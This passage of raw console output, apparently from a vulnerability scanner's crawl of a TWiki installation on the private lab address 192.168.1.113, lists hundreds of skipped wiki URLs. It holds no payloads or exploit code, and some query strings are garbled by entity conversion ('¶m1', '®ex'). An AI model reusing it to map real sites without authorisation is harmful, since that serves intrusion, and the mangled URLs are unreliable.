'http://192.168.1.113:80/twiki/bin/oops/TWiki/PeterThoeny?template=oopsmore¶m1=1.5¶m2=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Know/UseCategory?topicparent=Know.WebHome' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458830' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/RichardDonkin?t=1441458832' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Richard *Donkin[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/RichardDonkin?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/RichardDonkin?rev1=1.3&rev2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/RichardDonkin?rev=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/RichardDonkin?rev1=1.2&rev2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/RichardDonkin?rev=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/RichardDonkin?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458833' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/Know/WebPreferences?filename=pix.gif&revInfo=1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458836' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458839' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=r1.10' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiHistory?template=oopsmore¶m1=1.62¶m2=1.10' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458843' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiWeb?topicparent=TWiki.WikiCulture' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=r1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiCulture?rev1=1.9&rev2=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiCulture?rev1=1.8&rev2=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiCulture?rev=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WikiCulture?template=oopsmore¶m1=1.9¶m2=1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiWeb?topicparent=Main.PeterThoeny' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiWeb?topicparent=Main.PeterThoeny' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiContributor?topicparent=Main.PeterThoeny' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiPreferences?topicparent=Main.PeterThoeny' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=r1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/PeterThoeny?rev1=1.7&rev2=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/PeterThoeny?rev=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/PeterThoeny?template=oopsmore¶m1=1.8¶m2=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WikiName?t=1441458845' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Wiki *Name[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiName?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiName?rev1=1.4&rev2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiName?rev=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiName?rev1=1.3&rev2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiName?rev=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WikiName?template=oopsmore¶m1=1.4¶m2=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458846' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458849' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458852' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/DeleteTopic?rev=r1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/DeleteTopic?rev=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiRegistrationPub?t=1441458854' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Registration *Pub[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiRegistrationPub?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiRegistrationPub?rev1=1.10&rev2=1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiRegistrationPub?rev=1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiRegistrationPub?rev1=1.9&rev2=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiRegistrationPub?rev=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiRegistrationPub?template=oopsmore¶m1=1.10¶m2=1.10' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiForms?template=oopsmore¶m1=1.17¶m2=1.16' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/OfficeLocations?skin=print&rev=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/OfficeLocations?rev=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/OfficeLocations?template=oopsmore¶m1=1.5¶m2=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458855' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Main/TWikiGuest?currentwebonly=on' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=TWiki *Guest[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/EmptyPlugin?t=1441458858' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Empty *Plugin[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/EmptyPlugin?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/EmptyPlugin?rev1=1.6&rev2=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/EmptyPlugin?rev=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/EmptyPlugin?rev1=1.5&rev2=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/EmptyPlugin?rev=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/EmptyPlugin?template=oopsmore¶m1=1.6¶m2=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiRegistration?topicparent=Main.WebNotify' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=r1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebNotify?rev1=1.6&rev2=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebNotify?template=oopsmore¶m1=1.7¶m2=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458859' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?unlock=on' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocGraphics?t=1441458861' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Doc *Graphics[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocGraphics?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=r1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/WebIndex?t=1441458862' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web *Index[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebIndex?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Sandbox/WebIndex?rev1=1.3&rev2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Sandbox/WebIndex?rev1=1.2&rev2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Sandbox/WebIndex?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/CharleytheHorse?t=1441458862' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Charleythe *Horse[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/CharleytheHorse?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/CharleytheHorse?rev1=1.2&rev2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/CharleytheHorse?rev=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/CharleytheHorse?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Main/WebChanges?currentwebonly=on' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=Web *Changes[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/CrisBailiff?t=1441458862' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Cris *Bailiff[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/CrisBailiff?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/CrisBailiff?rev1=1.5&rev2=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/CrisBailiff?rev=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/CrisBailiff?rev1=1.4&rev2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/CrisBailiff?rev=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/CrisBailiff?template=oopsmore¶m1=1.5¶m2=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WelcomeGuest?skin=print&rev=1.20' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebPreferences?rev=r1.13' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebPreferences?rev1=1.12&rev2=1.11' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebPreferences?rev=1.11' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebPreferences?template=oopsmore¶m1=1.13¶m2=1.13' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/MartinRaabe?topicparent=TWiki.TWikiDocumentation' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/NewTopic?topicparent=TWiki.TWikiDocumentation' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/NotExistingYet?topicparent=TWiki.TWikiDocumentation' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/viewfile/TWiki/FileAttachment?rev=&filename=Sample.txt' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/viewfile/TWiki/TWiki/FileAttachment?rev=&filename=Sample.txt' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/viewfile/TWiki/FileAttachment?rev=1.1&filename=Sample.txt' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rename/TWiki/FileAttachment?attachment=Sample.txt' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiMetaData?raw=debug' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiHistory?rev=1.9' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.9&rev2=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiHistory?rev=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.8&rev2=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiHistory?rev=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/TWiki/TWikiHistory?template=oopsrev¶m1=1.10' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458864' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Documentation[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiDocumentation?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiDocumentation?rev1=1.44&rev2=1.43' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiDocumentation?rev=1.43' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiDocumentation?rev1=1.43&rev2=1.42' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiDocumentation?rev=1.42' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/TWiki/TWikiDocumentation?template=oopsmore¶m1=1.44¶m2=1.44' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Know/PublicFAQ?t=1441458866' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Public *FAQ[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/PublicFAQ?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/PublicFAQ?rev1=1.3&rev2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/PublicFAQ?rev1=1.2&rev2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/PublicFAQ?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiForms?t=1441458866' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiWebsTable?rev=r1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiWebsTable?rev=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiWebsTable?template=oopsmore¶m1=1.1¶m2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebChanges?unlock=on' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458867' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Know/OsHPUX?t=1441458869' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Os *HPUX[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OsHPUX?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/OsHPUX?rev1=1.3&rev2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/OsHPUX?rev1=1.2&rev2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/OsHPUX?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/TWiki/StartingPoints?filename=pix.gif&revInfo=1' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rename/Main/WebHome?currentwebonly=on' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=Web *Home[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/?scope=topic&nosummary=on¬otal=on&search=WebTopicNonWikiTemplate' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/?web=all&scope=topic&nosummary=on¬otal=on&search=WebTopicNonWikiTemplate' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WebTopicNonWikiTemplate?t=1441458869' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web *Topic *Non *Wiki *Template[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebTopicNonWikiTemplate?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebTopicNonWikiTemplate?rev1=1.7&rev2=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebTopicNonWikiTemplate?rev=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebTopicNonWikiTemplate?rev1=1.6&rev2=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebTopicNonWikiTemplate?rev=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebTopicNonWikiTemplate?template=oopsmore¶m1=1.7¶m2=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiUpgradeTo01Dec2000?t=1441458869' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Upgrade *To 01Dec 2000[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiUpgradeTo01Dec2000?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiUpgradeTo01Dec2000?rev1=1.16&rev2=1.15' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiUpgradeTo01Dec2000?rev=1.15' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiUpgradeTo01Dec2000?rev1=1.15&rev2=1.14' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiUpgradeTo01Dec2000?rev=1.14' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiUpgradeTo01Dec2000?template=oopsmore¶m1=1.16¶m2=1.16' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Know/?scope=text&search=[T]opicClassification.?(td..td|value=).?[P]ublicFAQ®ex=on' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiUpgradeTo01Dec2001?t=1441458870' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Upgrade *To *01Dec *2001[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiUpgradeTo01Dec2001?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiUpgradeTo01Dec2001?rev1=1.32&rev2=1.31' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiUpgradeTo01Dec2001?rev=1.31' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiUpgradeTo01Dec2001?rev1=1.31&rev2=1.30' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiUpgradeTo01Dec2001?rev=1.30' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiUpgradeTo01Dec2001?template=oopsmore¶m1=1.32¶m2=1.32' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiUpgradeTo01Dec2001?newweb=TWiki&newtopic=TWikiUpgradeGuide&confirm=on' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458871' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/TWiki/TWikiDocumentation?filename=pix.gif&revInfo=1' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/WebNotify?t=1441458873' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web *Notify[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebNotify?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebNotify?rev1=1.8&rev2=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebNotify?rev=1.7' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebNotify?rev1=1.7&rev2=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebNotify?rev=1.6' [20:24:27] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/Main/WebNotify?template=oopsmore¶m1=1.8¶m2=1.8' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiPlannedFeatures?t=1441458874' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Planned *Features[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPlannedFeatures?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiPlannedFeatures?rev1=1.5&rev2=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPlannedFeatures?rev=1.4' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiPlannedFeatures?rev1=1.4&rev2=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPlannedFeatures?rev=1.3' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiPlannedFeatures?template=oopsmore¶m1=1.5¶m2=1.5' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/WebTopicList?t=1441458874' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web *Topic *List[^A-Za-z]' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebTopicList?skin=print' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Sandbox/WebTopicList?rev1=1.2&rev2=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebTopicList?rev=1.1' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Sandbox/WebTopicList?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458875' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458878' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/HaroldGottschalk?t=1441458880' [20:24:27] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Harold 